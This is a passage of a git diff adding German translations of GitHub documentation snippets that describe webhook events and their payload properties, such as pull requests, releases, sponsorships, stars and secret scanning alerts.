+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883772"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|------------
+`action` | `string` | Die durchgeführte Aktion. Kann eine der folgenden Aktionen sein:<ul><li>`resolved`: Ein Kommentarthread zu einem Pull Request wurde als gelöst markiert.</li><li>`unresolved`: Ein zuvor gelöster Kommentarthread zu einem Pull Request wurde als nicht gelöst markiert.</li></ul>
+`pull_request` | `object` | Der [Pull Request](/rest/reference/pulls), zu dem der Thread gehört
+`thread` | `object` | Der betroffene Thread
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_webhook_properties.md b/translations/de-DE/data/reusables/webhooks/pull_request_webhook_properties.md
new file mode 100644
index 0000000000..635232678d
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_webhook_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 154c75025c0c83ff96a9da096d824a6d8541a3b3
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148008188"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die durchgeführte Aktion. Kann eine der folgenden Aktionen sein:<ul><li>`assigned`</li><li>`auto_merge_disabled`</li><li>`auto_merge_enabled`</li><li>`closed`: Wenn die Aktion `closed` und der `merged`-Schlüssel `false` lautet, wurde der Pull Request mit ungemergeten Commits geschlossen. Wenn die Aktion `closed` und der `merged`-Schlüssel `true` lautet, wurde der Pull Request gemergt.</li><li>`converted_to_draft`</li>{% ifversion fpt or ghec %}<li>`dequeued`: Wird ausgelöst, wenn ein Pull Request aus einer Mergewarteschlange entfernt wird.</li>{% endif %}<li>`edited`</li>{% ifversion fpt or ghec %}<li>`enqueued`: Wird ausgelöst, wenn ein Pull Request einer Mergewarteschlange hinzugefügt wird.</li>{% endif %}<li>`labeled`</li><li>`locked`</li><li>`opened`</li><li>`ready_for_review`</li><li>`reopened`</li><li>`review_request_removed`</li><li>`review_requested`</li><li>`synchronize`: Wird ausgelöst, wenn der Head-Branch eines Pull Requests aktualisiert wird. Wenn beispielsweise der Head-Branch aus dem Basisbranch aktualisiert wird, wenn neue Commits an den Head-Branch gepusht werden oder der Basisbranch geändert wird.</li><li>`unassigned`</li><li>`unlabeled`</li><li>`unlocked`</li></ul>
diff --git a/translations/de-DE/data/reusables/webhooks/push_short_desc.md b/translations/de-DE/data/reusables/webhooks/push_short_desc.md
new file mode 100644
index 0000000000..694a869eda
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/push_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a6066dcc80cd41e0b9373617b700ac6c0ff24fca
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145164824"
+---
+Ein oder mehrere Commits werden in einen Repositorybranch oder ein Tag gepusht.
diff --git a/translations/de-DE/data/reusables/webhooks/pusher_type_desc.md b/translations/de-DE/data/reusables/webhooks/pusher_type_desc.md
new file mode 100644
index 0000000000..3a3676a228
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pusher_type_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a4529e9bcfd745c4d13dd271e9f2dcdc5b390ada
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876769"
+---
+`pusher_type`|`string`| Der Pushertyp für das Ereignis. Kann entweder `user` oder ein Bereitstellungsschlüssel sein.
diff --git a/translations/de-DE/data/reusables/webhooks/release_event_api_properties.md b/translations/de-DE/data/reusables/webhooks/release_event_api_properties.md
new file mode 100644
index 0000000000..37d5bd9697
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/release_event_api_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: beaf2beead81fe82e58de7ab0adf91b5eb96a10e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145069183"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die durchgeführte Aktion. Kann `published` sein.
diff --git a/translations/de-DE/data/reusables/webhooks/release_properties.md b/translations/de-DE/data/reusables/webhooks/release_properties.md
new file mode 100644
index 0000000000..0dfc59877a
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/release_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 6ebaf7de51d56fcc0317bf1118ca562259429e4f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145069180"
+---
+`changes[body][from]` |`string` | Die vorherige Version des Texts, wenn die Aktion `edited` war.
+`changes[name][from]` |`string` | Die vorherige Version des Namens, wenn die Aktion `edited` war.
+`release`|`object` | Das [release](/rest/reference/repos/#get-a-release)-Objekt.
diff --git a/translations/de-DE/data/reusables/webhooks/release_short_desc.md b/translations/de-DE/data/reusables/webhooks/release_short_desc.md
new file mode 100644
index 0000000000..dd225207e8
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/release_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c48b55974de70f47d12c80781a2c5592c8f45b1b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145069177"
+---
+Aktivität im Zusammenhang mit einem Release. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Releases](/rest/reference/releases).
diff --git a/translations/de-DE/data/reusables/webhooks/release_webhook_properties.md b/translations/de-DE/data/reusables/webhooks/release_webhook_properties.md
new file mode 100644
index 0000000000..73131f763b
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/release_webhook_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: e25410532059b625a9d72984993f3d6d2fcec565
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145069174"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die durchgeführte Aktion. Kann eine der folgenden Aktionen sein:<ul><li>`published`: ein Release, eine Vorabversion oder ein Entwurf eines Release wird veröffentlicht</li><li>`unpublished`: ein Release oder eine Vorabversion wird gelöscht</li><li>`created`: ein Entwurf wird gespeichert, oder ein Release oder eine Vorabversion wird veröffentlicht, ohne zuvor als Entwurf gespeichert zu werden</li><li>`edited`: ein Release, eine Vorabversion oder ein Entwurf eines Release wird bearbeitet</li><li>`deleted`: ein Release, eine Vorabversion oder ein Entwurf eines Release wird gelöscht</li><li>`prereleased`: eine Vorabversion wird erstellt</li><li>`released`: ein Release wird veröffentlicht, oder eine Vorabversion wird in ein Release geändert</li>
diff --git a/translations/de-DE/data/reusables/webhooks/repo_desc.md b/translations/de-DE/data/reusables/webhooks/repo_desc.md
new file mode 100644
index 0000000000..43bf797693
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/repo_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b3d6ea0f10885f61488f9cc6bd7b4d4ac13bd7b0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145069171"
+---
+`repository` | `object` | Das [`repository`](/rest/reference/repos#get-a-repository), in dem das Ereignis aufgetreten ist.
diff --git a/translations/de-DE/data/reusables/webhooks/repo_desc_graphql.md b/translations/de-DE/data/reusables/webhooks/repo_desc_graphql.md
new file mode 100644
index 0000000000..6baaf137c3
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/repo_desc_graphql.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e9550b2e0576dce60a45898075868107256adc03
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147081096"
+---
+`repository` | `object` | Das [`repository`](/graphql/reference/objects#repository), in dem das Ereignis aufgetreten ist.
diff --git a/translations/de-DE/data/reusables/webhooks/repository_import_properties.md b/translations/de-DE/data/reusables/webhooks/repository_import_properties.md
new file mode 100644
index 0000000000..ea5d51667a
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/repository_import_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: a6c7bccb7d1ef66b02e06b76aa0dcf9b763fda14
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145069144"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`status` |`string` | Der endgültige Zustand des Imports. Kann `success`, `cancelled` oder `failure` lauten.
diff --git a/translations/de-DE/data/reusables/webhooks/repository_import_short_desc.md b/translations/de-DE/data/reusables/webhooks/repository_import_short_desc.md
new file mode 100644
index 0000000000..9e041e52d8
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/repository_import_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 392996d5748ad5dadb04e4cd7466be5ede8edaf7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145164829"
+---
+Aktivitäten im Zusammenhang mit einem Repository, das in GitHub importiert wird. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Quellimporte](/rest/reference/migrations#source-imports).
diff --git a/translations/de-DE/data/reusables/webhooks/repository_short_desc.md b/translations/de-DE/data/reusables/webhooks/repository_short_desc.md
new file mode 100644
index 0000000000..a02a69ec16
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/repository_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7bb9ad119446040e0fe364b3d654442c7ccbcefc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145069141"
+---
+Aktivitäten im Zusammenhang mit einem Repository. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Repositorys](/rest/reference/repos).
diff --git a/translations/de-DE/data/reusables/webhooks/repository_vulnerability_alert_properties.md b/translations/de-DE/data/reusables/webhooks/repository_vulnerability_alert_properties.md
new file mode 100644
index 0000000000..51ac14ca83
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/repository_vulnerability_alert_properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 0d7eafc29b8b96046c2b285e5930cac7057e4a3b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145069138"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` |`string` | Die durchgeführte Aktion. Kann `create`, `dismiss` oder `resolve` lauten.
+`alert` |`object` | Die Sicherheitswarnung für die anfällige Abhängigkeit.
diff --git a/translations/de-DE/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md b/translations/de-DE/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md
new file mode 100644
index 0000000000..5f7776b38a
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md
@@ -0,0 +1,7 @@
+{% warning %}
+
+**Deprecation note**: The `repository_vulnerability_alert` webhook events described below are deprecated and are documented here for reference only. Use [`dependabot_alert`](#dependabot_alert) as an alternative.
+
+{% endwarning %}
+
+Activity related to security vulnerability alerts in a repository. {% data reusables.webhooks.action_type_desc %} For more information, see the "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)".
diff --git a/translations/de-DE/data/reusables/webhooks/secret.md b/translations/de-DE/data/reusables/webhooks/secret.md
new file mode 100644
index 0000000000..1ef138c186
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/secret.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3dcfb143f7ac70db7c1a197304c83a5b75642749
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876861"
+---
+Durch das Festlegen eines Webhookgeheimnisses kannst du sicherstellen, dass an die Nutzlast-URL gesendete `POST`-Anforderungen von {% data variables.product.product_name %} kommen. Wenn du einen geheimen Schlüssel festlegst, erhältst du {% ifversion fpt or ghes or ghec %}die Header `X-Hub-Signature` und `X-Hub-Signature-256` {% elsif ghae %}den Header `X-Hub-Signature-256`{% endif %} in der Webhook-`POST`-Anforderung. Weitere Informationen dazu, wie du einen geheimen Schlüssel mit einem Signaturheader verwendest, um deine Webhooknutzlasten zu sichern, findest du unter [Sichern deiner Webhooks](/webhooks/securing/).
diff --git a/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_event_properties.md b/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_event_properties.md
new file mode 100644
index 0000000000..b9b8fc2975
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_event_properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: b4782fb446da93dcb93f95c2efc7ee92f36acc70
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145069132"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` |`string` | Die durchgeführte Aktion. Es kann sich entweder um `created`, `resolved` oder `reopened` handeln.
+`alert` |`object` | Die Geheimnisüberprüfungswarnung im Zusammenhang mit dem Ereignis.
diff --git a/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_event_short_desc.md b/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_event_short_desc.md
new file mode 100644
index 0000000000..74dbaf213d
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_event_short_desc.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c06b8f82e2a170dac0b16f4dd6de2105ebd9c082
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145069129"
+---
+Aktivitäten im Zusammenhang mit Geheimnisscanwarnungen in einem Repository. Der Aktivitätstyp wird in der Aktionseigenschaft des Nutzdatenobjekts angegeben. Weitere Informationen findest Du unter „[Geheimnisscan-API](/rest/secret-scanning)“.
+
diff --git a/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_location_event_properties.md b/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_location_event_properties.md
new file mode 100644
index 0000000000..71ca4d294b
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_location_event_properties.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: db7736a3360eff9a995e2c6ebcf159229af2151e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145069126"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` |`string` | Die durchgeführte Aktion. Derzeit ist nur `created` möglich.
+`location` |`object` | Der Standort im Zusammenhang mit dem Ereignis.
+`alert` |`object` | [`secret scanning alert`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) im Zusammenhang mit dem Ereignis.
diff --git a/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_location_event_short_desc.md b/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_location_event_short_desc.md
new file mode 100644
index 0000000000..4ffaeb832d
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/secret_scanning_alert_location_event_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8683a2b7ac096bb499b75eef5e9cd372f1b2f66e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145165024"
+---
+Aktivitäten im Zusammenhang mit geheimen Speicherorten zur Überprüfungsbenachrichtigung in einem Repository. Der Aktivitätstyp wird in der Aktionseigenschaft des Nutzdatenobjekts angegeben. Weitere Informationen findest du in der REST-API des „[geheimen Scannens](/rest/reference/secret-scanning)“.
diff --git a/translations/de-DE/data/reusables/webhooks/sender_desc.md b/translations/de-DE/data/reusables/webhooks/sender_desc.md
new file mode 100644
index 0000000000..7b50e89daf
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/sender_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b491d30ee072c126d5ca5c541f0ac62c6169d75a
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876778"
+---
+`sender` | `object` | Der Benutzer, der das Ereignis ausgelöst hat.
diff --git a/translations/de-DE/data/reusables/webhooks/sponsorship_event_api_properties.md b/translations/de-DE/data/reusables/webhooks/sponsorship_event_api_properties.md
new file mode 100644
index 0000000000..a84ce2634e
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/sponsorship_event_api_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 7ee9fbf44df569e9a5b3bf178e72e531d48b1533
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145069096"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` |`string` | Die durchgeführte Aktion. Dieser Wert kann `created` sein.
diff --git a/translations/de-DE/data/reusables/webhooks/sponsorship_properties.md b/translations/de-DE/data/reusables/webhooks/sponsorship_properties.md
new file mode 100644
index 0000000000..a5c7960556
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/sponsorship_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 968dfe7ff0b233872e2085462d1bb1e661f37d31
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145069093"
+---
+`effective_date` | `string` | Die Ereignistypen `pending_cancellation` und `pending_tier_change` enthalten das Datum, an dem die Abbruch- oder Ebenenänderung wirksam wird.
+`changes[tier][from]` | `object` | `tier_changed` und `pending_tier_change` umfassen die ursprüngliche Ebene vor der Änderung oder der anstehenden Änderung. Weitere Informationen findest du unter [Payload der ausstehenden Ebenenänderung](/webhooks/event-payloads#webhook-payload-example-when-someone-downgrades-a-sponsorship).
+`changes[privacy_level][from]` | `string` | Der Ereignistyp `edited` enthält die Details zur Änderung, wenn jemand ein Sponsoring bearbeitet, um den Datenschutz zu ändern.
diff --git a/translations/de-DE/data/reusables/webhooks/sponsorship_short_desc.md b/translations/de-DE/data/reusables/webhooks/sponsorship_short_desc.md
new file mode 100644
index 0000000000..96901451e0
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/sponsorship_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b50fde110003d33a0619024fe433cb54d61d5145
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145165021"
+---
+Aktivitäten im Zusammenhang mit einem Sponsoreneintrag. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du im [Über GitHub Projektsponsoren](/sponsors/getting-started-with-github-sponsors/about-github-sponsors).
diff --git a/translations/de-DE/data/reusables/webhooks/sponsorship_webhook_properties.md b/translations/de-DE/data/reusables/webhooks/sponsorship_webhook_properties.md
new file mode 100644
index 0000000000..eba57ab446
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/sponsorship_webhook_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 534ab2c710abccc1cefdaa782361ecc381d371ba
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145069090"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` |`string` | Die durchgeführte Aktion. Hierbei kann es sich um `created`, `cancelled`, `edited`, `tier_changed`, `pending_cancellation` oder `pending_tier_change` handeln. Hinweis: Die `created`-Aktion wird nur ausgelöst, nachdem die Zahlung verarbeitet wurde.
diff --git a/translations/de-DE/data/reusables/webhooks/star_properties.md b/translations/de-DE/data/reusables/webhooks/star_properties.md
new file mode 100644
index 0000000000..c28b7e9384
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/star_properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: ce614b2a117f04aa595dc1dd63e454a9efc70cc9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145069087"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|------------
+`action` | `string` | Die ausgeführte Aktion. Kann `created` oder `deleted` sein.
+`starred_at` | `string` | Die Zeit, zu der der Stern erstellt wurde. {% data reusables.shortdesc.iso_8601 %} Ist für die `deleted`-Aktion `null`.
diff --git a/translations/de-DE/data/reusables/webhooks/star_short_desc.md b/translations/de-DE/data/reusables/webhooks/star_short_desc.md
new file mode 100644
index 0000000000..d898771e49
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/star_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8920937bc5f1548282d5ac23e6f5037d9a0324de
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876845"
+---
+Aktivitäten im Zusammenhang mit einem Repository, das mit einem Stern versehen wird. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Sterne](/rest/reference/activity#starring).
diff --git a/translations/de-DE/data/reusables/webhooks/status_short_desc.md b/translations/de-DE/data/reusables/webhooks/status_short_desc.md
new file mode 100644
index 0000000000..9a2c8c0905
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/status_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fdb3ff4be5a09094e376d226d0592e77de23689a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145069084"
+---
+Wenn sich der Status eines Git-Commits ändert. Weitere Informationen findest du in der Dokumentation zur [Status](/rest/reference/commits#commit-statuses)-REST-API.
diff --git a/translations/de-DE/data/reusables/webhooks/team_add_short_desc.md b/translations/de-DE/data/reusables/webhooks/team_add_short_desc.md
new file mode 100644
index 0000000000..8d81265ea6
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/team_add_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c48c9b32cb9ab53aef2f3a1886cf32b865a4f947
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876826"
+---
+Wenn [ein Repository einem Team hinzugefügt wird](/rest/reference/teams#add-or-update-team-repository-permissions).
diff --git a/translations/de-DE/data/reusables/webhooks/team_short_desc.md b/translations/de-DE/data/reusables/webhooks/team_short_desc.md
new file mode 100644
index 0000000000..0d76c5440f
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/team_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a7d94faf92918e516e86d4c2c316a698f0902c00
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876833"
+---
+Aktivitäten im Zusammenhang mit dem Team einer Organisation. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Teams](/rest/reference/teams).
diff --git a/translations/de-DE/data/reusables/webhooks/watch_properties.md b/translations/de-DE/data/reusables/webhooks/watch_properties.md
new file mode 100644
index 0000000000..282a5b0eae
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/watch_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 031bb9421eb23fd469fdaf85fa7d9a7a4d570424
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876830"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die durchgeführte Aktion. Derzeit ist nur `started` möglich.
diff --git a/translations/de-DE/data/reusables/webhooks/watch_short_desc.md b/translations/de-DE/data/reusables/webhooks/watch_short_desc.md
new file mode 100644
index 0000000000..e82cea6f5c
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/watch_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bcc5e343c4d8f19f508311f2e9843f932012df7e
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145069054"
+---
+Wenn jemand ein Repository mit einem Stern versieht. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Sterne](/rest/reference/activity#starring).
diff --git a/translations/de-DE/data/reusables/webhooks/webhooks-rest-api-links.md b/translations/de-DE/data/reusables/webhooks/webhooks-rest-api-links.md
new file mode 100644
index 0000000000..0383b539ed
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/webhooks-rest-api-links.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 63effb67d8f26ba954127db629134b36b40d8552
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108395"
+---
+Mit den Webhook-REST-APIs kannst du Repository, Organisation und App-Webhooks verwalten. Du kannst diese API verwenden, um Webhook-Lieferungen für einen Webhook aufzulisten oder eine individuelle Lieferung für einen Webhook abzurufen und erneut auszuführen, der in eine externe App oder einen Dienst integriert werden kann. Du kannst die REST-API auch verwenden, um die Konfiguration des Webhooks zu ändern. Du kannst beispielsweise die Nutzlast-URL, den Inhaltstyp, die SSL-Überprüfung und das Geheimnis ändern. Weitere Informationen finden Sie unter
+
+- [Repository-Webhooks-REST-API](/rest/reference/webhooks#repository-webhooks)
+- [Rest-API für Organisations-Webhooks](/rest/reference/orgs#webhooks)
+- [{% data variables.product.prodname_github_app %}-Webhooks-REST-API](/rest/reference/apps#webhooks)
diff --git a/translations/de-DE/data/reusables/webhooks/webhooks_intro.md b/translations/de-DE/data/reusables/webhooks/webhooks_intro.md
new file mode 100644
index 0000000000..8b8464341d
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/webhooks_intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2a9bf94e5bb577180cb4abbc4c8ff2793702b837
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876837"
+---
+Beim Konfigurieren eines Webhooks kannst du die UI oder API verwenden, um auszuwählen, welche Ereignisse dir Nutzlasten senden. Nur das Abonnieren der spezifischen Ereignisse, die du für die Behandlung planst, beschränkt die Anzahl der HTTP-Anforderungen auf deinen Server. Du kannst auch alle aktuellen und zukünftigen Ereignisse abonnieren. Standardmäßig werden Webhooks nur für das Push-Ereignis abonniert. Du kannst die Liste der abonnierten Ereignisse jederzeit ändern.
diff --git a/translations/de-DE/data/reusables/webhooks/webhooks_ssl.md b/translations/de-DE/data/reusables/webhooks/webhooks_ssl.md
new file mode 100644
index 0000000000..ac2a6ca3c1
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/webhooks_ssl.md
@@ -0,0 +1,9 @@
+---
